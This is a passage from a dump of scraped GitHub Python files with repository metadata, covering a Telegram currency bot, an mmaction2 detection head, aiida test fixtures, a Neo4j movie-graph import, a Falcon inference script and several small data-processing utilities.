value3:\n print(\"Value 1 is greatest\")\n if value2 > value3:\n print(\"Value 2 is middle one, Value 3 is smallest\")\n else:\n print(\"Value 3 is middle one, Value 2 is smallest\")\n\nelif value2 > value1 and value2 > value3:\n print(\"Value 2 is greatest\")\n if(value1 > value3):\n print(\"Value 1 is middle one and value 3 is smallest\")\n else:\n print(\"Value 3 is middle one and value 1 is smallest\")\n\nelif value3 > value1 and value3 > value2:\n print(\"Value 3 is greatest\")\n if value1 > value2:\n print(\"Value 1 is middle and value 2 is smallest\")\n else:\n print(\"value 2 is middle and value 1 is smallest\")\n\nelse:\n print(\"None of the values is greatest, middle or smallest\")\n\n# Taking user from input \nuser_input = int(input(\"Enter a number\"))\nprint(user_input + 10)\n\n# BMI Calculator - Body Mass Index - \n# wt = 40\n# m = 3 \n# bmi = wt / m**2 ","repo_name":"hiteshrana735/Django-Ecommerce-Project","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33389539492","text":"import textwrap as tw\nimport pickle\nimport threading\n\nimport _xxsubinterpreters as interpreters\n# interpid = interpreters.create()\n# print('before')\n# interpreters.run_string(interpid, 'print(\"during\")')\n# print('after')\n\ninterpid = interpreters.create()\n\ninterpreters.run_string(interpid, tw.dedent(\"\"\"\n import pickle\n import _xxsubinterpreters as interpreters\n\"\"\"))\n\nchannel_id = interpreters.channel_create()\ndef run(interpid, channel_id):\n interpreters.run_string(interpid, tw.dedent(\"\"\"\n raw = interpreters.channel_recv(channel_id)\n if msg := pickle.loads(raw):\n print(f\"{msg = }\")\n interpreters.channel_release(channel_id)\n \"\"\"),\n shared=dict(\n channel_id=channel_id,\n ),\n )\nraw = pickle.dumps(\"Hello, world\", protocol=5)\ninterpreters.channel_send(channel_id, raw)\n\nt = threading.Thread(target=run, args=(interpid, channel_id))\nt.start()\nt.join()\n","repo_name":"sdukshis/subinterpreters-talk","sub_path":"subint.py","file_name":"subint.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30514771462","text":"from typing import List, Tuple, Union\n\nfrom mmdet.models.roi_heads import StandardRoIHead\nfrom mmdet.models.task_modules.samplers import SamplingResult\nfrom mmdet.structures.bbox import bbox2roi\nfrom torch import Tensor\n\nfrom mmaction.utils import ConfigType, InstanceList, SampleList\n\n\nclass AVARoIHead(StandardRoIHead):\n\n def loss(self, x: Union[Tensor,\n Tuple[Tensor]], rpn_results_list: InstanceList,\n data_samples: SampleList, **kwargs) -> dict:\n \"\"\"Perform forward propagation and loss calculation of the detection\n roi on the features of the upstream network.\n\n Args:\n x (Tensor or Tuple[Tensor]): The image features extracted by\n the upstream network.\n rpn_results_list (List[:obj:`InstanceData`]): List of region\n proposals.\n data_samples (List[:obj:`ActionDataSample`]): The batch\n data samples.\n\n Returns:\n Dict[str, Tensor]: A dictionary of loss components.\n \"\"\"\n assert len(rpn_results_list) == len(data_samples)\n batch_gt_instances = []\n for data_sample in data_samples:\n batch_gt_instances.append(data_sample.gt_instances)\n\n # assign gts and sample proposals\n num_imgs = len(data_samples)\n sampling_results = []\n for i in range(num_imgs):\n # rename rpn_results.bboxes to rpn_results.priors\n rpn_results = rpn_results_list[i]\n rpn_results.priors = rpn_results.pop('bboxes')\n\n assign_result = self.bbox_assigner.assign(rpn_results,\n batch_gt_instances[i],\n None)\n sampling_result = self.bbox_sampler.sample(assign_result,\n rpn_results,\n batch_gt_instances[i])\n sampling_results.append(sampling_result)\n\n # LFB needs meta_info: 'img_key'\n batch_img_metas = [\n data_samples.metainfo for data_samples in data_samples\n ]\n\n losses = dict()\n # bbox head forward and loss\n bbox_results = self.bbox_loss(x, sampling_results, batch_img_metas)\n losses.update(bbox_results['loss_bbox'])\n\n return losses\n\n def _bbox_forward(self, x: Union[Tensor, Tuple[Tensor]], rois: Tensor,\n batch_img_metas: List[dict], **kwargs) -> dict:\n \"\"\"Box head forward function used in both training and testing.\n\n Args:\n x (Tensor or Tuple[Tensor]): The image features extracted by\n the upstream network.\n rois (Tensor): RoIs with the shape (n, 5) where the first\n column indicates batch id of each RoI.\n batch_img_metas (List[dict]): List of image information.\n\n Returns:\n dict[str, Tensor]: Usually returns a dictionary with keys:\n\n - `cls_score` (Tensor): Classification scores.\n - `bbox_pred` (Tensor): Box energies / deltas.\n - `bbox_feats` (Tensor): Extract bbox RoI features.\n \"\"\"\n bbox_feats, global_feat = self.bbox_roi_extractor(x, rois)\n\n if self.with_shared_head:\n bbox_feats = self.shared_head(\n bbox_feats,\n feat=global_feat,\n rois=rois,\n img_metas=batch_img_metas)\n\n cls_score = self.bbox_head(bbox_feats)\n\n bbox_results = dict(cls_score=cls_score, bbox_feats=bbox_feats)\n return bbox_results\n\n def bbox_loss(self, x: Union[Tensor, Tuple[Tensor]],\n sampling_results: List[SamplingResult],\n batch_img_metas: List[dict], **kwargs) -> dict:\n \"\"\"Perform forward propagation and loss calculation of the bbox head on\n the features of the upstream network.\n\n Args:\n x (Tensor or Tuple[Tensor]): The image features extracted by\n the upstream network.\n sampling_results (List[SamplingResult]): Sampling results.\n batch_img_metas (List[dict]): List of image information.\n\n Returns:\n dict[str, Tensor]: Usually returns a dictionary with keys:\n\n - `cls_score` (Tensor): Classification scores.\n - `bbox_pred` (Tensor): Box energies / deltas.\n - `bbox_feats` (Tensor): Extract bbox RoI features.\n - `loss_bbox` (dict): A dictionary of bbox loss components.\n \"\"\"\n rois = bbox2roi([res.priors for res in sampling_results])\n bbox_results = self._bbox_forward(x, rois, batch_img_metas)\n\n bbox_loss_and_target = self.bbox_head.loss_and_target(\n cls_score=bbox_results['cls_score'],\n rois=rois,\n sampling_results=sampling_results,\n rcnn_train_cfg=self.train_cfg)\n\n bbox_results.update(loss_bbox=bbox_loss_and_target['loss_bbox'])\n return bbox_results\n\n def predict(self, x: Union[Tensor,\n Tuple[Tensor]], rpn_results_list: InstanceList,\n data_samples: SampleList, **kwargs) -> InstanceList:\n \"\"\"Perform forward propagation of the roi head and predict detection\n results on the features of the upstream network.\n\n Args:\n x (Tensor or Tuple[Tensor]): The image features extracted by\n the upstream network.\n rpn_results_list (List[:obj:`InstanceData`]): list of region\n proposals.\n data_samples (List[:obj:`ActionDataSample`]): The batch\n data samples.\n\n Returns:\n List[obj:`InstanceData`]: Detection results of each image.\n Each item usually contains following keys.\n\n - scores (Tensor): Classification scores, has a shape\n (num_instance, )\n - labels (Tensor): Labels of bboxes, has a shape\n (num_instances, ).\n \"\"\"\n assert self.with_bbox, 'Bbox head must be implemented.'\n batch_img_metas = [\n data_samples.metainfo for data_samples in data_samples\n ]\n if isinstance(x, tuple):\n x_shape = x[0].shape\n else:\n x_shape = x.shape\n\n assert x_shape[0] == 1, 'only accept 1 sample at test mode'\n assert x_shape[0] == len(batch_img_metas) == len(rpn_results_list)\n\n results_list = self.predict_bbox(\n x, batch_img_metas, rpn_results_list, rcnn_test_cfg=self.test_cfg)\n\n return results_list\n\n def predict_bbox(self, x: Tuple[Tensor], batch_img_metas: List[dict],\n rpn_results_list: InstanceList,\n rcnn_test_cfg: ConfigType) -> InstanceList:\n \"\"\"Perform forward propagation of the bbox head and predict detection\n results on the features of the upstream network.\n\n Args:\n x (tuple[Tensor]): Feature maps of all scale level.\n batch_img_metas (list[dict]): List of image information.\n rpn_results_list (list[:obj:`InstanceData`]): List of region\n proposals.\n rcnn_test_cfg (obj:`ConfigDict`): `test_cfg` of R-CNN.\n\n Returns:\n list[:obj:`InstanceData`]: Detection results of each image\n after the post process. Each item usually contains following\n keys:\n - scores (Tensor): Classification scores, has a shape\n (num_instance, )\n - labels (Tensor): Labels of bboxes, has a shape\n (num_instances, ).\n \"\"\"\n proposals = [res.bboxes for res in rpn_results_list]\n rois = bbox2roi(proposals)\n bbox_results = self._bbox_forward(x, rois, batch_img_metas)\n\n # split batch bbox prediction back to each image\n cls_scores = bbox_results['cls_score']\n num_proposals_per_img = tuple(len(p) for p in proposals)\n rois = rois.split(num_proposals_per_img, 0)\n cls_scores = cls_scores.split(num_proposals_per_img, 0)\n\n result_list = self.bbox_head.predict_by_feat(\n rois=rois,\n cls_scores=cls_scores,\n batch_img_metas=batch_img_metas,\n rcnn_test_cfg=rcnn_test_cfg)\n\n return result_list\n","repo_name":"open-mmlab/mmaction2","sub_path":"mmaction/models/roi_heads/roi_head.py","file_name":"roi_head.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":3560,"dataset":"github-code","pt":"3"}
+{"seq_id":"34176445192","text":"import pandas as pd\n\ndata = pd.read_csv(\"data.csv\", index_col=\"Duration\")\nprint(data.head(10))\n\ndef group_and_find_mean():\n \"\"\"Group by Duration and find the mean of each Column\n \"\"\"\n g = data.groupby([\"Duration\"]).mean()\n\n print(g.to_string())\n\n \"\"\"Group by Duration and find the mean of the Maxpulse column\n \"\"\"\n x = data.groupby([\"Duration\"])[\"Maxpulse\"].mean()\n\n print(x.to_string())\n\ndef main():\n group_and_find_mean()\n\nif __name__ == '__main__':\n main()","repo_name":"Beau28713/Data_Camp_Courses","sub_path":"Pandas/group_by.py","file_name":"group_by.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24310232732","text":"\nimport telebot\nfrom config import TOKEN, currency\nfrom extension import ApiException, UnitConvert\n\n\nbot = telebot.TeleBot(TOKEN)\n\n\n@bot.message_handler(commands=['start'])\ndef begin(message: telebot.types.Message):\n text = 'Добро пожаловать в конвертор валюты! \\\nЧтобы начать работу введите команду: /help'\n bot.send_message(message.chat.id, text)\n\n\n@bot.message_handler(commands=['help'])\ndef instructions(message: telebot.types.Message):\n text = 'Чтобы начать конвертацию введите команду: \\n\"наименование валюты\" \\\n\"в какую валюту перевести\" \\\n\"количество переводимой валюты\"\\n Для просмотра списка всех доступных валют введите команду: /values'\n bot.reply_to(message, text)\n\n\n@bot.message_handler(commands=['values'])\ndef values(message: telebot.types.Message):\n text = 'Доступные валюты:'\n\n for i in currency.keys():\n text = '\\n'.join((text, i))\n bot.reply_to(message, text)\n\n\n@bot.message_handler(content_types=['text'])\ndef converter(message: telebot.types.Message):\n prise = message.text.split(' ')\n try:\n if len(prise) !=3:\n raise ApiException('Не верное количество параметров!')\n\n base, sym, amount = prise\n total_sym = UnitConvert.get_price(base, sym, amount)\n except ApiException as e:\n bot.reply_to(message, f'Ошибка пользователя\\n{e}')\n except Exception as e:\n bot.reply_to(message, f'Не удалось обработать команду\\n{e}')\n else:\n text = f'Цена {amount} {base} в {sym} - {total_sym}'\n bot.send_message(message.chat.id, text)\n\n\nbot.polling()","repo_name":"Dmitr-iy/pythonTeleBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8126132874","text":"# -*- coding: utf-8 -*-\n\"\"\"fixtures\"\"\"\nimport os\n\nimport pytest\nfrom aiida import orm\nfrom aiida.plugins import DataFactory\n\npytest_plugins = [\"aiida.manage.tests.pytest_fixtures\"]\n\n# Directory where to store outputs for known inputs (usually tests/data)\nDATA_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\nSTATIC_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"_static\")\n\n\n@pytest.fixture(scope=\"function\")\ndef psp_Si_SG15():\n \"\"\"\n Create a aiida-pseudo pp data of sg15 silicon\n \"\"\"\n UpfData = DataFactory(\"pseudo.upf\")\n\n pp_name = \"Si_ONCV_PBE-1.2.upf\"\n pp_path = os.path.join(STATIC_DIR, pp_name)\n\n with open(pp_path, \"rb\") as stream:\n pseudo = UpfData(stream)\n\n yield pseudo\n\n\n@pytest.fixture(scope=\"function\")\ndef pw_code(aiida_localhost):\n aiida_localhost.set_use_double_quotes(True)\n engine_command = \"\"\"singularity exec --bind $PWD:$PWD {image_name}\"\"\"\n code = orm.ContainerizedCode(\n default_calc_job_plugin=\"quantumespresso.pw\",\n filepath_executable=\"pw.x\",\n engine_command=engine_command,\n image_name=\"docker://containers4hpc/qe-mpich314:0.1.0\",\n computer=aiida_localhost,\n ).store()\n\n yield code\n\n\n@pytest.fixture(scope=\"function\")\ndef ph_code(aiida_localhost):\n aiida_localhost.set_use_double_quotes(True)\n engine_command = \"\"\"singularity exec --bind $PWD:$PWD {image_name}\"\"\"\n code = orm.ContainerizedCode(\n default_calc_job_plugin=\"quantumespresso.ph\",\n filepath_executable=\"ph.x\",\n engine_command=engine_command,\n image_name=\"docker://containers4hpc/qe-mpich314:0.1.0\",\n computer=aiida_localhost,\n ).store()\n\n yield code\n","repo_name":"aiidateam/aiida-sssp-workflow","sub_path":"test_bak/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70368178963","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 13 15:52:16 2020\r\n\r\n@author: Sohom\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport julian\r\nimport datetime \r\nimport numpy as np\r\n\r\nvel_df=pd.read_csv('PSP_SPC_1sec_Hampel20181031_20181219.csv')\r\nmag_df=pd.read_csv('PSP_MAG_1sec20181006_20181219.csv')\r\n\r\njt_arr=vel_df.iloc[:,0].values\r\n\r\nvr_arr=vel_df.iloc[:,3].values\r\nvt_arr=vel_df.iloc[:,4].values\r\nvn_arr=vel_df.iloc[:,5].values\r\n\r\njt_arr_mag=mag_df.iloc[:,0].values\r\nbr_arr=mag_df.iloc[:,1].values\r\nbt_arr=mag_df.iloc[:,2].values\r\nbn_arr=mag_df.iloc[:,3].values\r\n\r\nt=pd.date_range('11/4/2018','11/7/2018',freq='S')\r\n\r\nstart_jd=julian.to_jd(datetime.datetime(2018,11,4,0,0,0,0),fmt='jd')\r\nend_jd=julian.to_jd(datetime.datetime(2018,11,7,0,0,0,0),fmt='jd')\r\n\r\nstart_index=np.abs(jt_arr-start_jd).argmin()\r\nend_index=np.abs(jt_arr-end_jd).argmin()\r\n\r\nbr_arr_slice=br_arr[start_index-1:end_index]\r\nbn_arr_slice=bn_arr[start_index-1:end_index]\r\nbt_arr_slice=bt_arr[start_index-1:end_index]\r\n\r\ndata_rr=pd.Series(br_arr_slice,t)\r\ndata_nn=pd.Series(bn_arr_slice,t)\r\ndata_tt=pd.Series(bt_arr_slice,t)\r\n\r\nmean_rr=data_rr['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\nmean_nn=data_nn['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\nmean_tt=data_tt['2018-11-05 00:00:00':'2018-11-06 00:00:00'].rolling(3600).mean()\r\n\r\ndelta_data_rr=data_rr-mean_rr\r\ndelta_data_nn=data_nn-mean_nn\r\ndelta_data_tt=data_tt-mean_tt\r\n\r\ncorr_arr=np.zeros(10000)\r\n\r\nfor i in range(10000):\r\n corr_arr[i]=(delta_data_rr.autocorr(lag=i)+delta_data_nn.autocorr(lag=i)+delta_data_tt.autocorr(lag=i))/3\r\n \r\n \r\nplt.figure(figsize=(20,12))\r\nplt.plot(corr_arr) \r\nplt.show()\r\n\r\n","repo_name":"dev-sroy/vKsimilarity_ACE","sub_path":"corr_time.py","file_name":"corr_time.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24360799358","text":"import pandas as pd\nfrom py2neo import Graph, Relationship, Node\nimport re\n\nclass To_db:\n def __init__(self):\n self.graph = Graph('http://localhost:7474',\n username='neo4j',\n password='liaobowen421')\n\n def run(self,cypher):\n self.graph.run(cypher)\n\n def convert_person(self):\n with open('data/person.txt', 'r', encoding='utf-8') as f:\n data = pd.read_csv(f)\n data['birth'] = data['birth'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n data['death'] = data['death'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n data['biography'] = data['biography'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n data['birthplace'] = data['birthplace'].apply(lambda x: {r'\\N':\"UNK\"}.get(x, x))\n print(data)\n\n data.to_csv('data/person.csv')\n\n for meg in data.itertuples():\n self.run('merge (n:Person{name:\"%s\", birth:\"%s\", pid:\"%s\", biography:\"%s\", birthplace:\"%s\", death:\"%s\"})'%(meg.name,\n meg.birth,\n meg.pid,\n meg.biography,\n meg.birthplace,\n meg.death))\n\n\n def convert_genre(self):\n with open('data/genre.txt', 'r', encoding='utf-8') as f:\n data = pd.read_csv(f)\n data.to_csv('data/penre.csv')\n for msg in data.itertuples():\n self.run('merge (n:Genre{gid:\"%s\", name:\"%s\"})'%(msg.gid, msg.gname))\n\n\n def convert_movies(self):\n with open('data/movie.txt', 'r', encoding='utf-8') as f:\n data = pd.read_csv(f,names=['mid','title','introduction','rating','releasedate','5','6','7','8','9','10','11'], header=0)\n data.drop(['5','6','7','8','9','10','11'], axis=1,inplace=True)\n data['introduction'].fillna('UNK',inplace=True)\n data['rating'].fillna(0,inplace=True)\n data['rating'] = data['rating'].apply(float)\n data['releasedate'].fillna('UNK',inplace=True)\n\n data['introduction'] = data['introduction'].apply(lambda x: re.sub(r'[\\'\\\"bfnrt\\\\]', '', x))\n data['releasedate'] = data['releasedate'].apply(lambda x: re.sub(r'[\\'\\\"bfnrt\\\\]', '', x))\n\n data.to_csv('data/movie.csv')\n\n for msg in data.itertuples():\n self.run('merge (n:Movie{mid:\"%s\", title:\"%s\", introduction:\"%s\", rating:\"%s\", releasedate:\"%s\"})'%(msg.mid,\n msg.title,\n msg.introduction,\n msg.rating,\n msg.releasedate))\n\n def convert_person_to_movie(self):\n with open('data/person_to_movie.txt', 'r', encoding='utf-8') as f:\n data = pd.read_csv(f)\n data.to_csv('data/person_to_movie.csv')\n\n for meg in data.itertuples():\n self.run('match (n:Person{pid:\"%s\"}), (m:Movie{mid:\"%s\"}) merge (n)-[r:acted{pid:\"%s\", mid:\"%s\"}]-(m)'%(meg.pid, meg.mid, meg.pid, meg.mid))\n\n\n def convert_movie_person(self):\n with open('data/movie_to_genre.txt','r', encoding='utf-8') as f:\n data = pd.read_csv(f)\n data.to_csv('data/movie_to_person.csv')\n\n for meg in data.itertuples():\n self.run('match (g:Genre{gid:\"%s\"}), (m:Movie{mid:\"%s\"}) merge (m)-[r:is{mid:\"%s\", gid:\"%s\"}]-(g)'%(meg.gid, meg.mid, meg.mid, meg.gid))\n\n\nif __name__ == '__main__':\n to_db = To_db()\n to_db.convert_person()\n to_db.convert_genre()\n to_db.convert_movies()\n to_db.convert_person_to_movie()\n to_db.convert_movie_person()","repo_name":"LiaoBoWen/MyProject","sub_path":"Leaning/NLP_project/knowledge_graph/Movie_KBQA/convert_neo4j.py","file_name":"convert_neo4j.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"18446834281","text":"#a python script for inference on a single example using LlAMA model\nimport argparse\nimport torch\nimport transformers\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\n\ndevice = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n\n\nfalcon_prompt = \"User: {input_sentence}\\nAssistant:\"\n\n\ndef run_inference(input_sentence, tokenizer, pipeline):\n # get output of the LlaMa from input sentence\n\n sequences = pipeline(\n falcon_prompt.format(input_sentence=input_sentence),\n max_length=200,\n do_sample=True,\n top_k=10,\n num_return_sequences=1,\n eos_token_id=tokenizer.eos_token_id,\n )\n\n return sequences[0][\"generated_text\"]\n\ndef load_model(model_path):\n\n print(f'Load model using Device \"{device}\" from path \"{model_path}\".')\n\n tokenizer = AutoTokenizer.from_pretrained(model_path)\n pipeline = transformers.pipeline(\n \"text-generation\",\n model=model_path,\n tokenizer=tokenizer,\n torch_dtype=torch.bfloat16,\n trust_remote_code=True,\n device_map=device,\n )\n return tokenizer, pipeline\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_model\", type=str, required=True)\n arg = parser.parse_args()\n tokenizer, pipeline = load_model(arg.input_model)\n\n print(\"Enter a sentence to generate your response. Enter 'exit' to exit.\")\n previouses = []\n while True:\n input_sentence = input(\"Enter a sentence: \")\n if input_sentence == \"exit\":\n break\n run_inference(input_sentence,tokenizer,pipeline)\n\n\n\n\n\n\n","repo_name":"chatnoir-eu/chatnoir-chat","sub_path":"llms/Falcon-models/run_inference.py","file_name":"run_inference.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"22672934644","text":"import os \nimport glob \nimport zipfile\nfrom tqdm import tqdm \n\nclass Unzip():\n def __init__(self, directory):\n self.directory = directory \n self.filenames = glob.glob(f\"{directory}/**\")\n self.zipfilenames = glob.glob(f\"{directory}/**.zip\")\n self.extracted_files = [f for f in self.filenames if f not in self.zipfilenames]\n # print(self.zipfilenames)\n\n def unzip(self): \n for f in tqdm(self.filenames): \n with zipfile.ZipFile(f , 'r') as zip_ref:\n zip_ref.extractall(self.directory)\n\n print(\"Finished unzipping all files!\")\n return \n\n def delete(self): \n for f in tqdm(self.filenames): \n os.remove(f)\n\n return \n\n def unzip_and_delete(self): \n # Delete folder if it exists \n for f in tqdm(self.zipfilenames): \n \n\n if f in self.extracted_files: \n os.remove(f) \n\n else: \n try: \n with zipfile.ZipFile(f , 'r') as zip_ref:\n zip_ref.extractall(self.directory)\n os.remove(f)\n except: \n pass \n\n print(\"Finished extracting all files\")\n \n \n\nif __name__ == \"__main__\": \n unzipper = Unzip(\"/home/munfai98/Documents/NationalSpeechCorpus/part1/data/train/channel0/wave\")\n unzipper.unzip_and_delete()","repo_name":"ChanMunFai/Whisper_SG","sub_path":"data_cleaning/unzip_nsc.py","file_name":"unzip_nsc.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25915595140","text":"'''\nfile: road.py\n\nget hierachically roads/lanes specified in ESRI folder.\n\nauthor: Xueman Mou\ndate: 2018/3/22\nversion: 1.0.0\nmodified: 2018/3/22 09:45:00 GMT+800\n\ndeveloping env: python 3.5.2\ndependencies: pyshp, pyproj\n'''\n\nimport os\nimport sys\nimport shapefile\nimport pyproj\n\nclass Road(object):\n\tdef __init__(self, ID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID):\n\t\tself.roadID = ID\n\t\tself.meshID = MeshID\n\t\tself.owner = Owner\n\t\tself.startRoadNodeID = SHNodeID\n\t\tself.endRoadNodeID = EHNodeID\n\t\tself.length = HRLength\n\t\tself.type = HRType\n\t\tself.direction = direction\n\t\tself.laneNumSE = LaneNumSE\n\t\tself.laneNumES = LaneNumES # valid when direction = 1 (bi-direcional)\n\t\tself.innerCJ = InnerCJ\n\t\tself.junctionID = LCJID\t# valid when innerCJ = 2\n\t\tself.LEDGEID = LEDGEID # ? what it means\n\n\tdef __repr__(self):\n\t\treturn '''roadID\\t\\t{}\\nmeshID\\t\\t{}\\nowner\\t\\t{}\\nstartRoadNode\\t{}\\nendRoadNode\\t{}\\nlength\\t\\t{}\\ntype\\t\\t{}\\ndirection\\t{}\\nlaneNumSE\\t{}\\nlaneNumES\\t{}\\ninnerCJ\\t\\t{}\\njunctionID\\t{}\\nLEDGEID\\t\\t{}\\n'''.format(\n\t\t\t\tself.roadID,\n\t\t\t\tself.meshID,\n\t\t\t\tself.owner,\n\t\t\t\tself.startRoadNodeID,\n\t\t\t\tself.endRoadNodeID,\n\t\t\t\tself.length,\n\t\t\t\tself.type,\n\t\t\t\tself.direction,\n\t\t\t\tself.laneNumSE,\n\t\t\t\tself.laneNumES,\n\t\t\t\tself.innerCJ,\n\t\t\t\tself.junctionID,\n\t\t\t\tself.LEDGEID\n\t\t\t)\n\nclass RoadNode(object):\n\tdef __init__(self, HNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag):\n\t\tself.roadNodeID = HNodeID\n\t\tself.meshID = MeshID\n\t\tself.Owner = Owner\n\t\tself.LHNodeID = LHNodeID\n\t\tself.LMeshID = LMeshID\n\t\tself.LHRoadID = LHRoadID # 关联道路基准线编号序列 i.e., 该点出现在以下道路中:xxx-xxx-xxx\n\t\tself.LJCID = LJCID # 关联基础数据连接点编号 当道路基准线连接点有对应的传统二维基础数据道路连接点时,该字段有效\n\t\tself.isInJunction = CJHNFlag # 路口内道路基准线连接点标识 1否 2是\n\t\tself.junctionID = LCJID # valid if CJHNFlag == 2 \n\t\tself.SSFlag = SSFlag # 特殊结构出入口 1否 2是\n\t\tself.SSType = SSType # valid if SSFlag == 2\n\t\tself.mergeFlag = MergeFlag # 合流点标识 1否 2是\n\t\tself.splitFlag = SplitFlag # 分流点标识 1否 2是\n\nclass roadNetwork(object):\n\tdef __init__(self):\n\t\tself.vertices = []\n\t\tself.adjList = {}\n\n\tdef __repr__(self):\n\t\tgraph = ''\n\t\tfor nodeID in self.adjList:\n\t\t\tfor nextID in self.adjList[nodeID]:\n\t\t\t\tgraph += '%d - %d\\n' % (nodeID, nextID)\n\n\t\treturn graph\n\n\tdef addRoad(self, road):\n\t\t\n\t\tstartNode = road.startRoadNodeID\n\t\tendNode = road.endRoadNodeID\n\n\t\tif startNode not in self.vertices:\n\t\t\tself.vertices.append(startNode)\n\t\tif endNode not in self.vertices:\n\t\t\tself.vertices.append(endNode)\n\n\t\tif road.direction == 3: \n\t\t\t# traffic flow is not of the same direction as vector startNode -> endNode\n\t\t\ttmp = startNode\n\t\t\tstartNode = endNode\n\t\t\tendNode = tmp\n\n\t\tif not startNode in self.adjList:\n\t\t\tself.adjList[startNode] = [endNode]\n\t\telse:\n\t\t\tself.adjList[startNode].append(endNode)\n\n\t\tif road.direction == 1:\n\t\t\tif not endNode in self.adjList:\n\t\t\t\tself.adjList[endNode] = [startNode]\n\t\t\telse:\n\t\t\t\tself.adjList[endNode].append(startNode)\n\ndef readRoads(filepath):\n\t\n\troads = []\n\tsf = shapefile.Reader(filepath)\n\n\tfor index, sr in enumerate(sf.shapeRecords()):\n\t\tshape = sr.shape\n\t\trecord = sr.record\n\n\t\tID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID = record\n\t\troad = Road(ID, MeshID, Owner, SHNodeID, EHNodeID, HRLength, HRType, direction, LaneNumSE, LaneNumES, InnerCJ, LCJID, LEDGEID)\n\t\troads.append(road)\n\n\treturn roads\n\ndef readRoadNodes(filepath):\n\t\n\troadNodes = []\n\tsf = shapefile.Reader(filepath)\n\t\n\tfor index, sr in enumerate(sf.shapeRecords()):\n\t\tshape = sr.shape\n\t\trecord = sr.record\n\n\t\tHNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag = record\n\t\troadNode = RoadNode(HNodeID, MeshID, Owner, LHNodeID, LMeshID, LHRoadID, LJCID, CJHNFlag, LCJID, SSFlag, SSType, MergeFlag, SplitFlag)\n\t\troadNodes.append(roadNode)\n\n\treturn roadNodes\n\ndef buildRoadNetwork(roads, filepath):\n\tnetwork = roadNetwork()\n\tfor road in roads:\n\t\tnetwork.addRoad(road)\n\tprint(network)\n\ndef main():\n\t\n\tpathname = '/Users/mxmcecilia/Documents/WebGL小组/modeling/GIS_PCG/data/EMG_sample_data/EMG_GZ'\n\n\troads = readRoads(os.path.join(pathname, 'HRoad.shp'))\n\tbuildRoadNetwork(roads, os.path.join(pathname, 'HRoadNode.shp'))\n\n\treadRoadNodes(os.path.join(pathname, 'HRoadNode.shp'))\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"snow-orld/GIS_PCG","sub_path":"project/python/ESRI/road.py","file_name":"road.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11446389205","text":"from django.core.validators import MinValueValidator, RegexValidator\nfrom django.db import models\nfrom django.utils import timezone\n\nimport pytz\n\nSTATUS_CHOICES = (\n ('ready', 'Ready to send'),\n ('sent', 'Sent'),\n ('failed', 'Failed to send'),\n ('not_sent', 'Not sent'),\n)\nTIMEZONES_CHOICES = tuple(zip(pytz.common_timezones, pytz.common_timezones))\n\n\nclass Mailing(models.Model):\n start_datetime = models.DateTimeField(\n verbose_name='Start of mailing',\n db_index=True,\n validators=[MinValueValidator(limit_value=timezone.now(),\n message=(f'Mailing start cannot be '\n f'in the past'))]\n )\n text = models.CharField(\n max_length=300\n )\n tag = models.CharField(\n max_length=15,\n blank=True\n )\n operator_code = models.CharField(\n max_length=3,\n validators=[RegexValidator(regex=r\"^\\d{3}$\",\n message='Enter a 3 digit number',\n code='invalid')],\n blank=True\n )\n end_datetime = models.DateTimeField(\n verbose_name='Finish of mailing',\n db_index=True,\n validators=[MinValueValidator(limit_value=timezone.now(),\n message=(f'Mailing end cannot be '\n f'in the past'))]\n )\n\n\nclass Client(models.Model):\n msisdn = models.CharField(\n max_length=7,\n validators=[RegexValidator(regex=r\"^\\d{7}$\",\n message=(f'Enter 7 